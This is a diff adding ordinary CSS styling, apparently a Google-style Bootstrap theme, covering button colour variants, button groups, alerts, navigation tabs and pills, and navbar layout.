+.btn-primary:active, +.btn-primary.active, +.btn-primary:focus { + border: 1px solid #196aeb; + color: #ffffff; + background-color: #4186f6; + background-image: -moz-linear-gradient(top, #4d90fe, #3078eb); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#4d90fe), to(#3078eb)); + background-image: -webkit-linear-gradient(top, #4d90fe, #3078eb); + background-image: -o-linear-gradient(top, #4d90fe, #3078eb); + background-image: linear-gradient(to bottom, #4d90fe, #3078eb); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff4d90fe', endColorstr='#ff3078eb', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #3078eb; + background-color: #3078eb \9; +} +.btn-primary:active, +.btn-primary.active { + border: 1px solid #135fd7; + background-color: #3880f5; + background-image: -moz-linear-gradient(top, #4d90fe, #1969e8); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#4d90fe), to(#1969e8)); + background-image: -webkit-linear-gradient(top, #4d90fe, #1969e8); + background-image: -o-linear-gradient(top, #4d90fe, #1969e8); + background-image: linear-gradient(to bottom, #4d90fe, #1969e8); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff4d90fe', endColorstr='#ff1969e8', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-primary:focus { + border: 1px solid #3079ed; + -webkit-box-shadow: inset 0 0 0 1px #ffffff; + -moz-box-shadow: inset 0 0 0 1px #ffffff; + box-shadow: inset 0 0 0 1px #ffffff; +} +.btn-primary.disabled, +.btn-primary[disabled], +.btn-primary.disabled:hover, +.btn-primary[disabled]:hover, +.btn-primary.disabled:active, +.btn-primary[disabled]:active, +.btn-primary.disabled:focus, +.btn-primary[disabled]:focus { + border: 1px solid #3079ed; + background-color: #4b8cf7; + background-image: -moz-linear-gradient(top, #4d90fe, #4787ed); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#4d90fe), to(#4787ed)); + background-image: -webkit-linear-gradient(top, #4d90fe, #4787ed); + background-image: -o-linear-gradient(top, #4d90fe, #4787ed); + background-image: linear-gradient(to bottom, #4d90fe, #4787ed); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff4d90fe', endColorstr='#ff4787ed', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #4d90fe; + background-color: #4d90fe \9; +} +.btn-danger { + border: 1px solid #c6322a; + color: #ffffff; + background-color: #d84a38; + background-image: -moz-linear-gradient(top, #dd4b39, #d14836); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#dd4b39), to(#d14836)); + background-image: -webkit-linear-gradient(top, #dd4b39, #d14836); + background-image: -o-linear-gradient(top, #dd4b39, #d14836); + background-image: linear-gradient(to bottom, #dd4b39, #d14836); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdd4b39', endColorstr='#ffd14836', GradientType=0); + *background-color: #dd4b39; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-danger:hover, +.btn-danger:active, +.btn-danger.active, +.btn-danger:focus { + border: 1px solid #b12d26; + color: #ffffff; + background-color: #d24634; + background-image: -moz-linear-gradient(top, #dd4b39, #c13e2c); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#dd4b39), to(#c13e2c)); + background-image: -webkit-linear-gradient(top, #dd4b39, #c13e2c); + background-image: -o-linear-gradient(top, #dd4b39, #c13e2c); + background-image: linear-gradient(to bottom, #dd4b39, #c13e2c); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdd4b39', endColorstr='#ffc13e2c', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #c13e2c; + background-color: #c13e2c \9; +} +.btn-danger:active, +.btn-danger.active { + border: 1px solid #9c2721; + background-color: #ca4332; + background-image: -moz-linear-gradient(top, #dd4b39, #ad3727); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#dd4b39), to(#ad3727)); + background-image: -webkit-linear-gradient(top, #dd4b39, #ad3727); + background-image: -o-linear-gradient(top, #dd4b39, #ad3727); + background-image: linear-gradient(to bottom, #dd4b39, #ad3727); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdd4b39', endColorstr='#ffad3727', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-danger:focus { + border: 1px solid #c6322a; + -webkit-box-shadow: inset 0 0 0 1px #ffffff; + -moz-box-shadow: inset 0 0 0 1px #ffffff; + box-shadow: inset 0 0 0 1px #ffffff; +} +.btn-danger.disabled, +.btn-danger[disabled], +.btn-danger.disabled:hover, +.btn-danger[disabled]:hover, +.btn-danger.disabled:active, +.btn-danger[disabled]:active, +.btn-danger.disabled:focus, +.btn-danger[disabled]:focus { + border: 1px solid #c6322a; + background-color: #d84a38; + background-image: -moz-linear-gradient(top, #dd4b39, #d14836); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#dd4b39), to(#d14836)); + background-image: -webkit-linear-gradient(top, #dd4b39, #d14836); + background-image: -o-linear-gradient(top, #dd4b39, #d14836); + background-image: linear-gradient(to bottom, #dd4b39, #d14836); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdd4b39', endColorstr='#ffd14836', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #dd4b39; + background-color: #dd4b39 \9; +} +.btn-warning { + border: 1px solid #faa328; + color: #ffffff; + background-color: #fbb046; + background-image: -moz-linear-gradient(top, #fbb450, #faa937); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#faa937)); + background-image: -webkit-linear-gradient(top, #fbb450, #faa937); + background-image: -o-linear-gradient(top, #fbb450, #faa937); + background-image: linear-gradient(to bottom, #fbb450, #faa937); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fffaa937', GradientType=0); + *background-color: #fbb450; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-warning:hover, +.btn-warning:active, +.btn-warning.active, +.btn-warning:focus { + border: 1px solid #f9980f; + color: #ffffff; + background-color: #faac3c; + background-image: -moz-linear-gradient(top, #fbb450, #fa9f1e); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#fa9f1e)); + background-image: -webkit-linear-gradient(top, #fbb450, #fa9f1e); + background-image: -o-linear-gradient(top, #fbb450, #fa9f1e); + background-image: linear-gradient(to bottom, #fbb450, #fa9f1e); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fffa9f1e', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #fa9f1e; + background-color: #fa9f1e \9; +} +.btn-warning:active, +.btn-warning.active { + border: 1px solid #e98b06; + background-color: #faa732; + background-image: -moz-linear-gradient(top, #fbb450, #f89406); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406)); + background-image: -webkit-linear-gradient(top, #fbb450, #f89406); + background-image: -o-linear-gradient(top, #fbb450, #f89406); + background-image: linear-gradient(to bottom, #fbb450, #f89406); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-warning:focus { + border: 1px solid #faa328; + -webkit-box-shadow: inset 0 0 0 1px #ffffff; + -moz-box-shadow: inset 0 0 0 1px #ffffff; + box-shadow: inset 0 0 0 1px #ffffff; +} +.btn-warning.disabled, +.btn-warning[disabled], +.btn-warning.disabled:hover, +.btn-warning[disabled]:hover, +.btn-warning.disabled:active, +.btn-warning[disabled]:active, +.btn-warning.disabled:focus, +.btn-warning[disabled]:focus { + border: 1px solid #faa328; + background-color: #fbb046; + background-image: -moz-linear-gradient(top, #fbb450, #faa937); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#faa937)); + background-image: -webkit-linear-gradient(top, #fbb450, #faa937); + background-image: -o-linear-gradient(top, #fbb450, #faa937); + background-image: linear-gradient(to bottom, #fbb450, #faa937); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fffaa937', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #fbb450; + background-color: #fbb450 \9; +} +.btn-success { + border: 1px solid #359947; + color: #ffffff; + background-color: #35aa47; + background-image: -moz-linear-gradient(top, #35aa47, #35aa47); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#35aa47), to(#35aa47)); + background-image: -webkit-linear-gradient(top, #35aa47, #35aa47); + background-image: -o-linear-gradient(top, #35aa47, #35aa47); + background-image: linear-gradient(to bottom, #35aa47, #35aa47); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff35aa47', endColorstr='#ff35aa47', GradientType=0); + *background-color: #35aa47; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-success:hover, +.btn-success:active, +.btn-success.active, +.btn-success:focus { + border: 1px solid #2e863e; + color: #ffffff; + background-color: #33a244; + background-image: -moz-linear-gradient(top, #35aa47, #2f973f); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#35aa47), to(#2f973f)); + background-image: -webkit-linear-gradient(top, #35aa47, #2f973f); + background-image: -o-linear-gradient(top, #35aa47, #2f973f); + background-image: linear-gradient(to bottom, #35aa47, #2f973f); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff35aa47', endColorstr='#ff2f973f', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #2f973f; + background-color: #2f973f \9; +} +.btn-success:active, +.btn-success.active { + border: 1px solid #287335; + background-color: #309a41; + background-image: -moz-linear-gradient(top, #35aa47, #298337); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#35aa47), to(#298337)); + background-image: -webkit-linear-gradient(top, #35aa47, #298337); + background-image: -o-linear-gradient(top, #35aa47, #298337); + background-image: linear-gradient(to bottom, #35aa47, #298337); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff35aa47', endColorstr='#ff298337', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-success:focus { + border: 1px solid #359947; + -webkit-box-shadow: inset 0 0 0 1px #ffffff; + -moz-box-shadow: inset 0 0 0 1px #ffffff; + box-shadow: inset 0 0 0 1px #ffffff; +} +.btn-success.disabled, +.btn-success[disabled], +.btn-success.disabled:hover, +.btn-success[disabled]:hover, +.btn-success.disabled:active, +.btn-success[disabled]:active, +.btn-success.disabled:focus, +.btn-success[disabled]:focus { + border: 1px solid #359947; + background-image: -moz-linear-gradient(top, #35aa47, #35aa47); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#35aa47), to(#35aa47)); + background-image: -webkit-linear-gradient(top, #35aa47, #35aa47); + background-image: -o-linear-gradient(top, #35aa47, #35aa47); + background-image: linear-gradient(to bottom, #35aa47, #35aa47); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff35aa47', endColorstr='#ff35aa47', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #35aa47; + background-color: #35aa47 \9; +} +.btn-info { + border: 1px solid #46b8da; + color: #ffffff; + background-color: #5bc0de; + background-image: -moz-linear-gradient(top, #5bc0de, #5bc0de); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#5bc0de)); + background-image: -webkit-linear-gradient(top, #5bc0de, #5bc0de); + background-image: -o-linear-gradient(top, #5bc0de, #5bc0de); + background-image: linear-gradient(to bottom, #5bc0de, #5bc0de); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff5bc0de', GradientType=0); + *background-color: #5bc0de; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-info:hover, +.btn-info:active, +.btn-info.active, +.btn-info:focus { + border: 1px solid #31b0d5; + color: #ffffff; + background-color: #53bddc; + background-image: -moz-linear-gradient(top, #5bc0de, #46b8da); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#46b8da)); + background-image: -webkit-linear-gradient(top, #5bc0de, #46b8da); + background-image: -o-linear-gradient(top, #5bc0de, #46b8da); + background-image: linear-gradient(to bottom, #5bc0de, #46b8da); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff46b8da', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #46b8da; + background-color: #46b8da \9; +} +.btn-info:active, +.btn-info.active { + border: 1px solid #28a1c5; + background-color: #4ab9db; + background-image: -moz-linear-gradient(top, #5bc0de, #31b0d5); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#31b0d5)); + background-image: -webkit-linear-gradient(top, #5bc0de, #31b0d5); + background-image: -o-linear-gradient(top, #5bc0de, #31b0d5); + background-image: linear-gradient(to bottom, #5bc0de, #31b0d5); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-info:focus { + border: 1px solid #46b8da; + -webkit-box-shadow: inset 0 0 0 1px #ffffff; + -moz-box-shadow: inset 0 0 0 1px #ffffff; + box-shadow: inset 0 0 0 1px #ffffff; +} +.btn-info.disabled, +.btn-info[disabled], +.btn-info.disabled:hover, +.btn-info[disabled]:hover, +.btn-info.disabled:active, +.btn-info[disabled]:active, +.btn-info.disabled:focus, +.btn-info[disabled]:focus { + border: 1px solid #46b8da; + background-image: -moz-linear-gradient(top, #5bc0de, #5bc0de); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#5bc0de)); + background-image: -webkit-linear-gradient(top, #5bc0de, #5bc0de); + background-image: -o-linear-gradient(top, #5bc0de, #5bc0de); + background-image: linear-gradient(to bottom, #5bc0de, #5bc0de); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff5bc0de', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #5bc0de; + background-color: #5bc0de \9; +} +.btn-inverse { + border: 1px solid #464646; + color: #ffffff; + background-color: #515151; + background-image: -moz-linear-gradient(top, #515151, #515151); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#515151), to(#515151)); + background-image: -webkit-linear-gradient(top, #515151, #515151); + background-image: -o-linear-gradient(top, #515151, #515151); + background-image: linear-gradient(to bottom, #515151, #515151); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff515151', endColorstr='#ff515151', GradientType=0); + *background-color: #515151; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-inverse:hover, +.btn-inverse:active, +.btn-inverse.active, +.btn-inverse:focus { + border: 1px solid #3a3a3a; + color: #ffffff; + background-color: #4b4b4b; + background-image: -moz-linear-gradient(top, #515151, #444444); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#515151), to(#444444)); + background-image: -webkit-linear-gradient(top, #515151, #444444); + background-image: -o-linear-gradient(top, #515151, #444444); + background-image: linear-gradient(to bottom, #515151, #444444); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff515151', endColorstr='#ff444444', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #444444; + background-color: #444444 \9; +} +.btn-inverse:active, +.btn-inverse.active { + border: 1px solid #2d2d2d; + background-color: #464646; + background-image: -moz-linear-gradient(top, #515151, #373737); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#515151), to(#373737)); + background-image: -webkit-linear-gradient(top, #515151, #373737); + background-image: -o-linear-gradient(top, #515151, #373737); + background-image: linear-gradient(to bottom, #515151, #373737); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff515151', endColorstr='#ff373737', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-inverse:focus { + border: 1px solid #464646; + -webkit-box-shadow: inset 0 0 0 1px #ffffff; + -moz-box-shadow: inset 0 0 0 1px #ffffff; + box-shadow: inset 0 0 0 1px #ffffff; +} +.btn-inverse.disabled, +.btn-inverse[disabled], +.btn-inverse.disabled:hover, +.btn-inverse[disabled]:hover, +.btn-inverse.disabled:active, +.btn-inverse[disabled]:active, +.btn-inverse.disabled:focus, +.btn-inverse[disabled]:focus { + border: 1px solid #464646; + background-image: -moz-linear-gradient(top, #515151, #515151); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#515151), to(#515151)); + background-image: -webkit-linear-gradient(top, #515151, #515151); + background-image: -o-linear-gradient(top, #515151, #515151); + background-image: linear-gradient(to bottom, #515151, #515151); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff515151', endColorstr='#ff515151', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-color: #515151; + background-color: #515151 \9; +} +.btn-link, +.btn-link:active, +.btn-link[disabled] { + background-color: transparent; + background-image: none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} +.btn-link { + border-color: transparent; + cursor: pointer; + color: #1155cc; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.btn-link:hover { + border-color: transparent; + color: #1155cc; + text-decoration: underline; + background-color: transparent; + background-image: none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} +.btn-link[disabled]:hover { + color: #333333; + text-decoration: none; +} +.btn-group + .btn-group { + margin-left: 16px; +} +.btn-group > .btn, +.btn-group > .dropdown-menu, +.btn-group > .popover { + font-size: 13px; +} +.btn-group > .btn-mini { + font-size: 9.75px; +} +.btn-group > .btn-small { + font-size: 11.049999999999999px; +} +.btn-group > .btn-large { + font-size: 16.25px; +} +.btn-group > .btn:first-child { + margin-left: 0; + -webkit-border-top-left-radius: 2px; + -moz-border-radius-topleft: 2px; + border-top-left-radius: 2px; + -webkit-border-bottom-left-radius: 2px; + -moz-border-radius-bottomleft: 2px; + border-bottom-left-radius: 2px; +} +.btn-group > .btn:last-child, +.btn-group > .dropdown-toggle { + -webkit-border-top-right-radius: 2px; + -moz-border-radius-topright: 2px; + border-top-right-radius: 2px; + -webkit-border-bottom-right-radius: 2px; + -moz-border-radius-bottomright: 2px; + border-bottom-right-radius: 2px; +} +.btn-group > .btn.large:first-child { + margin-left: 0; + -webkit-border-top-left-radius: 2px; + -moz-border-radius-topleft: 2px; + border-top-left-radius: 2px; + -webkit-border-bottom-left-radius: 2px; + -moz-border-radius-bottomleft: 2px; + border-bottom-left-radius: 2px; +} +.btn-group > .btn.large:last-child, +.btn-group > .large.dropdown-toggle { + -webkit-border-top-right-radius: 2px; + -moz-border-radius-topright: 2px; + border-top-right-radius: 2px; + -webkit-border-bottom-right-radius: 2px; + -moz-border-radius-bottomright: 2px; + border-bottom-right-radius: 2px; +} +.btn-group > .btn + .dropdown-toggle { + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} +.btn-group > .dropdown-toggle:hover { + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); +} +.btn-group > .btn-primary.dropdown-toggle:hover, +.btn-group > .btn-info.dropdown-toggle:hover, +.btn-group > .btn-warning.dropdown-toggle:hover, +.btn-group > .btn-danger.dropdown-toggle:hover, +.btn-group > .btn-success.dropdown-toggle:hover, +.btn-group > .btn-inverse.dropdown-toggle:hover { + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.2); + -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.2); + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.2); +} +.btn-group > .btn.dropdown-toggle:active, +.btn-group > .btn.dropdown-toggle.active { + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); +} +.btn-group > .btn-primary.dropdown-toggle:active, +.btn-group > .btn-primary.dropdown-toggle.active, +.btn-group > .btn-warning.dropdown-toggle:active, +.btn-group > .btn-warning.dropdown-toggle.active, +.btn-group > .btn-danger.dropdown-toggle:active, +.btn-group > .btn-danger.dropdown-toggle.active, +.btn-group > .btn-success.dropdown-toggle:active, +.btn-group > .btn-success.dropdown-toggle.active, +.btn-group > .btn-info.dropdown-toggle:active, +.btn-group > .btn-info.dropdown-toggle.active, +.btn-group > .btn-inverse.dropdown-toggle:active, +.btn-group > .btn-inverse.dropdown-toggle.active { + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); +} +.btn-group > .btn-mini.dropdown-toggle { + padding: 2px 4px; +} +.btn-group > .btn-small.dropdown-toggle { + padding: 5px 7px; +} +.btn-group > .btn-large.dropdown-toggle { + padding: 9px 9px; +} +.btn-group.open .dropdown-toggle { + -webkit-box-shadow: inset 0 1px 6px rgba(0, 0, 0, 0.15); + -moz-box-shadow: inset 0 1px 6px rgba(0, 0, 0, 0.15); + box-shadow: inset 0 1px 6px rgba(0, 0, 0, 0.15); +} +.btn-group.open .btn.dropdown-toggle { + background-color: #f3f3f3; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); +} +.btn-group.open .btn-primary.dropdown-toggle { + background-color: #4b8cf7; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); +} +.btn-group.open .btn-warning.dropdown-toggle { + background-color: #faa937; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); +} +.btn-group.open .btn-danger.dropdown-toggle { + background-color: #d84a38; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); +} +.btn-group.open .btn-success.dropdown-toggle { + background-color: #35aa47; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); +} +.btn-group.open .btn-info.dropdown-toggle { + background-color: #5bc0de; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); +} +.btn-group.open .btn-inverse.dropdown-toggle { + background-color: #4e4e4e; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); +} +.btn .caret { + margin-top: 8px; +} +.btn-mini .caret { + margin-top: 5px; +} +.btn-small .caret { + margin-top: 6px; +} +.btn-large .caret { + margin-top: 6px; +} +.alert { + padding: 8px 35px 8px 10px; + text-shadow: none; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); + -moz-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); + background-color: #f9edbe; + border: 1px solid #f0c36d; + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; + color: #333333; +} +.alert-success { + background-color: #dff0d8; + border-color: #a3d48e; + color: #468847; +} +.alert-danger, +.alert-error { + background-color: #f2dede; + border-color: #dd4b39; + color: #dd4b39; +} +.alert-info { + background-color: #d9edf7; + border-color: #85c5e5; + color: #3a87ad; +} +.alert-success, +.alert-danger, +.alert-error, +.alert-info { + text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); +} +.alert-danger, +.alert-error { + border-color: #d59595; + color: #b94a48; +} +.nav-list > li > a { + padding: 1px 15px; + color: #222222; +} +.nav-list > li > a:hover { + background-color: #eeeeee; +} +.nav-list > .active > a, +.nav-list > .active > a:hover { + padding-left: 12px; + font-weight: bold; + color: #dd4b39; + text-shadow: none; + background-color: transparent; + border-left: 3px solid #dd4b39; +} +.nav-list > .active > a:hover { + background-color: #eeeeee; +} +.nav-tabs > li > a { + -webkit-border-radius: 2px 2px 0 0; + -moz-border-radius: 2px 2px 0 0; + border-radius: 2px 2px 0 0; + color: #666; +} +.nav-tabs > .active > a, +.nav-tabs > .active > a:hover { + font-weight: bold; + color: #333; +} +.nav-tabs-google > li { + margin: 0 1px 0 0; +} +.nav-tabs-google > li > a { + padding-top: 2px; + padding-bottom: 6px; + line-height: 20px; + color: #777; + border: 1px solid transparent; +} +.nav-tabs-google > li > a:hover { + color: #222; + background-color: #ffffff; + border-color: #ffffff #ffffff #ffffff; +} +.nav-tabs-google > li > a:active { + color: #dd4b39; +} +.nav-tabs-google li:hover { + color: #333; + border-bottom: 3px solid #dd4b39; +} +.nav-tabs-google li.active { + font-weight: bold; + border-bottom: 3px solid #dd4b39; +} +.nav-tabs-google > .active > a, +.nav-tabs-google > .active > a:hover { + color: #333; + border: 1px solid transparent; +} +.nav-pills > li > a { + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; +} +.nav-pills > .active > a, +.nav-pills > .active > a:hover, +.nav-pills > .active > a:focus { + background-color: #4d90fe; +} +.nav-tabs.nav-stacked > li:first-child > a { + -webkit-border-radius: 2px 2px 0 0; + -moz-border-radius: 2px 2px 0 0; + border-radius: 2px 2px 0 0; +} +.nav-tabs.nav-stacked > li:last-child > a { + -webkit-border-radius: 0 0 2px 2px; + -moz-border-radius: 0 0 2px 2px; + border-radius: 0 0 2px 2px; +} +.nav-tabs.nav-stacked > li > a:hover { + z-index: 2; + border-color: #ddd; +} +.nav-tabs .dropdown-menu { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.nav-tabs .dropdown-toggle .caret { + border-top-color: #666; + border-bottom-color: #666; +} +.nav-tabs .dropdown-toggle:hover .caret { + border-top-color: #333; + border-bottom-color: #333; +} +.nav-pills .dropdown-menu { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.tabs-below > .nav-tabs > li > a { + -webkit-border-radius: 0 0 2px 2px; + -moz-border-radius: 0 0 2px 2px; + border-radius: 0 0 2px 2px; +} +.tabs-left > .nav-tabs > li > a { + -webkit-border-radius: 2px 0 0 2px; + -moz-border-radius: 2px 0 0 2px; + border-radius: 2px 0 0 2px; +} +.tabs-right > .nav-tabs > li > a { + -webkit-border-radius: 0 2px 2px 0; + -moz-border-radius: 0 2px 2px 0; + border-radius: 0 2px 2px 0; +} +.navbar-inner { + min-height: 30px; +} +.navbar .brand { + padding: 5px 20px 5px; +} +.navbar-text { + line-height: 30px; +} +.navbar .brand.dropdown-menu { + display: none; + padding: 0 0 6px; + margin-left: -20px; + font-size: 13px; +} +.open > .brand.dropdown-menu { + display: block; +} +.navbar .divider-vertical { + height: 30px; +} +.navbar .btn, +.navbar .btn-group { + margin-top: 2px; +} +.navbar .btn { + padding: 2px 10px; +} +.navbar-form input, +.navbar-form select, +.navbar-form .radio, +.navbar-form .checkbox { + margin-top: 2px; + padding: 2px 14px; +} +.navbar-search { + margin-top: 2px; +} +.navbar-search .search-query { + padding: 2px 14px; + line-height: normal; +} +.navbar .nav > li > a { + padding: 5px 15px 5px; + font-weight: bold; +} +.navbar .btn-navbar { + padding: 4px 10px 7px; + margin-top: 2px; + background-color: #f3f3f3; + background-image: -moz-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -o-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: linear-gradient(to bottom, #f5f5f5, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff1f1f1', GradientType=0); + border: 1px solid #dcdcdc; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} +.navbar .pull-right > li > .dropdown-menu .dropdown-menu, +.navbar .nav > li > .dropdown-menu.pull-right .dropdown-menu { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.navbar-inverse .navbar-search .search-query:focus, +.navbar-inverse .navbar-search .search-query.focused { + padding: 1px 15px; +} 